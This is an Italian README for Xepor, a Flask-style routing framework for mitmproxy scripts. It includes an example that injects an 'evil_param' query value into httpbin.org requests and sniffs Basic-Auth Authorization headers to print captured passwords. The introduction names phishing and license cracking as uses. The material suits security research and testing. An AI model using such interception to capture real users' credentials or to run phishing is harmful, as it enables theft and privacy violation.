
Framework di routing simile a Flask per mitmproxy per intercettare, modificare e falsificare richieste/risposte HTTP. Consente lo sviluppo rapido di script MITM per reverse engineering, phishing e cracking di licenze.
Xepor (pronunciato /ˈzɛfə/, zefiro) è un framework di routing web per ingegneri inversi e ricercatori di sicurezza. Fornisce un'API simile a Flask per hacker per intercettare e modificare richieste HTTP e/o risposte HTTP in uno stile di codifica facile da usare.
Questo progetto è pensato per essere utilizzato con mitmproxy. Gli utenti scrivono script con xepor ed eseguono lo script all'interno di mitmproxy con mitmproxy -s tuo-script.py.
Se vuoi passare da PoC alla produzione, da demo (es. http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) a qualcosa che puoi portare con il tuo WiFi Pineapple, allora Xepor fa per te!
@api.route(), proprio come Flask! Scrivi tutto in un unico script e niente più if..else.InterceptedAPI.mitmproxy / mitmweb + regular / transparent / socks5 / reverse:SPEC / ) sono pienamente supportate.Lo stripping SSL NON è fornito da questo progetto.
pip install xepor
Prendi lo script da examples/httpbin come esempio.
mitmweb -s example/httpbin/httpbin.py
Imposta il proxy HTTP del tuo browser su http://127.0.0.1:8080 e accedi all'interfaccia web su http://127.0.0.1:8081/.
Invia una richiesta GET da http://httpbin.org/#/HTTP_Methods/get_get , quindi puoi vedere la modifica apportata da Xepor nell'interfaccia mitmweb, negli strumenti di sviluppo del browser o in Wireshark.
Il file httpbin.py fa due cose.
payload=evil_param all'interno della richiesta HTTP.Authorization dalle richieste HTTP e stampa la password all'attaccante.Proprio quello che mitmproxy fa sempre, ma con codice scritto nello stile di xepor.
# https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.py
from mitmproxy.http import HTTPFlow
from xepor import InterceptedAPI, RouteType
HOST_HTTPBIN = "httpbin.org"
api = InterceptedAPI(HOST_HTTPBIN)
@api.route("/get")
def change_your_request(flow: HTTPFlow):
"""
Modify URL query param.
Test at:
http://httpbin.org/#/HTTP_Methods/get_get
"""
flow.request.query["payload"] = "evil_param"
@api.route("/basic-auth/{usr}/{pwd}", rtype=RouteType.RESPONSE)
def capture_auth(flow: HTTPFlow, usr=None, pwd=None):
"""
Sniffing password.
Test at:
http://httpbin.org/#/Auth/get_basic_auth__user___passwd_
"""
print(
f"auth @ {usr} + {pwd}:",
f"Captured {'successful' if flow.response.status_code < 300 else 'unsuccessful'} login:",
flow.request.headers.get("Authorization", ""),
)
addons = [api]
upstream:SPEC